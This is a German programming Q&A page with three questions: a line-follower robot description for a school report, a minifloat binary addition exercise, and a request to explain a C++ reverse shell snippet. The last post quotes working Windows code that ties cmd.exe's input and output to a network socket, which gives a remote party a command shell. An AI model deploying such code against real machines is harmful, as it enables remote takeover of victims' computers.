Programmieren – die besten Beiträge

Kann ich das so im Protokoll schreiben?

Hey,

wir programmieren/-bauen gerade in der Schule in Einzelarbeit einen Linienfolger und einen Erkundungsroboter. Vorab müssen wir die technische Funktionsweise protokollieren, weshalb ich euch bitten würde mir mitzuteilen, ob ihr grobe Form/-Logik Fehler entdeckt. Thanks!

=>

Damit der Linienfolger seine ihm zugeschriebene Aufgabe erfüllen kann macht man sich zunutze, dass helle/-dunkle Oberflächen Licht variierend reflektieren. Links und rechts neben den DC-Motoren an der Grundplatte werden zwei Fotowiderstände, sowie in relativer Nähe zwei LEDs installiert, welche auf die zu befahrende Oberfläche zeigen. Um eindeutige Werte vom Fotowiderstand nutzen zu können, bestrahlt man die Fläche vor dem Fotowiderstand jeweils mit der LED, damit der Kontrast der beiden Farben klar messbar wird. Nun messen die Fotowiderstände, welcher mit dem Arduino Uno R3 verbunden sind, konstant die eingehenden Reflektionswerte der Oberfläche. Überfährt der Linienfolger nun die schwarze Leitlinie an einer Stelle, so sinkt die Reflektion der LED und der Widerstand des Fotowiderstandes steigt an. Dieser Anstieg bis über eine definierte Grenze wird im Sketch erkannt/-ausgewertet und führt anschließend zu einem beschleunigen des DC-Motors, welcher sich auf der Seite des LDRs mit den gestiegenen Werten befindet. Wird der Wert wieder unterschritten auf beiden Seiten befindet sich der Linienfolger genau auf der Leitlinie und fährt mit konstanter Geschwindigkeit weiter.

Schule, Technik, IT, Roboter, programmieren, Chemie, Physik, Protokoll, Technologie, Wirtschaft und Finanzen

Versteht jemand wie wir diese zwei Binärzahlen, mit 1 Bit Vorzeichen, 3 Bits Exponent und 4 Bits für dei Mantisse(fraction) addiert haben? (In Festkomma)?

Hallo. Ich habe eine Aufgabe, wo wir zwei Binärzahlen addieren, aber ich verstehe die Lösung nicht.

Zuvor, ist es so wir haben Binärzahlen gegeben, im Minifloatformat. Bei uns ist der Minifloat so definiert:

-       der erste Bit ist das Vorzeichen ist.

-       Dann haben wir noch 3 Bits für den Exponenten ( mit Excess-Konstante 3)

-       und 4 Bits für die Fraction (Mantisse).

-       Zudem arbeiten mit denormalisierter Darstellung, also dass alle Exponentenbits =0 sind und auch mit normalisierter Darstellung, also alle anderen Fälle, wenn die Exponentenbits nicht alle 0 sind.

Jetzt haben wir die beiden Minifloatzahlen:

-       01010011

-       01100100

Diese sollen wir addieren und dann wieder als Minifloat darstellen. Um die zu addieren, werden die beiden Zahlen in Festkommazahlen umgewandelt.

Laut unterlagen haben die Festkommazahlen, die die Minifloats darrstellen können:

-       5 Vorkommastellen (Mit der Fraction=4 und Exponent=4 (normalisiert) )

-       6 Nachkommastellen (Mit der Länge der Fraction)4 und Exponenten=-2)

So ist die Addition, laut Musterlösung:

1.     Umwandlung in Festkommazahl:

0 101 0011 = 1.0011 * 22 = 00100.110000

0 110 0100 = 1.0100 * 23=  01010.000000

2.     Binär Addieren

00100.110000 + 01010.000000= 01110.110000

3.     Komma verschieben:

1.1101100000 * 23 (Was ich hier nicht kapiere, warum verschiebe ich das Komma um 23 und warum habe ich eine 0 drangehängt, ist das vielleicht ein Tippfehler? Habe hier eien Null mehr als bei 01110.110000)

4.     Abschneiden der Nachkommastellen und ggf. Runden

1.1101(100000)*23

àaufrunden, da erstes abgeschnittene Bit 1

à1.1110*23

5.     Ergebnis: 0 110 1110 (Jetzt hat man hier das Ergebnis irgendwie von der 4, aber verstehe nicht wie)

Computer, Schule, programmieren, Informatik, binärzahlen

Was bedeutet dieser Code grob - Reverse Shell?

Tach, ich habe mir aus langeweile den Code einer Reverse Shell in c++ angesehen und ich frage mich was folgender Code bedeutet. Ich verstehe nur einzelne Teile und ich würde gerne eine grobe Erklärung bekommen, was der Code tut. (vollen Code auf https://github.com/dev-frog/C-Reverse-Shell/blob/master/re.cpp)

if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
	            closesocket(mySocket);
	            WSACleanup();
	            continue;
	        }
	        else {
	            char RecvData[DEFAULT_BUFLEN];
	            memset(RecvData, 0, sizeof(RecvData));
	            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	            if (RecvCode <= 0) {
	                closesocket(mySocket);
	                WSACleanup();
	                continue;
	            }
	            else {
	                char Process[] = "cmd.exe";
	                STARTUPINFO sinfo;
	                PROCESS_INFORMATION pinfo;
	                memset(&sinfo, 0, sizeof(sinfo));
	                sinfo.cb = sizeof(sinfo);
	                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
	                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
	                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
	                WaitForSingleObject(pinfo.hProcess, INFINITE);
	                CloseHandle(pinfo.hProcess);
	                CloseHandle(pinfo.hThread);
	

	                memset(RecvData, 0, sizeof(RecvData));
	                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	                if (RecvCode <= 0) {
	                    closesocket(mySocket);
	                    WSACleanup();
	                    continue;
	                }
	                if (strcmp(RecvData, "exit\n") == 0) {
	                    exit(0);
	                }
	            }
Computer, IT, programmieren, Hacking, Informatik, Shell, C (Programmiersprache)

Meistgelesene Beiträge zum Thema Programmieren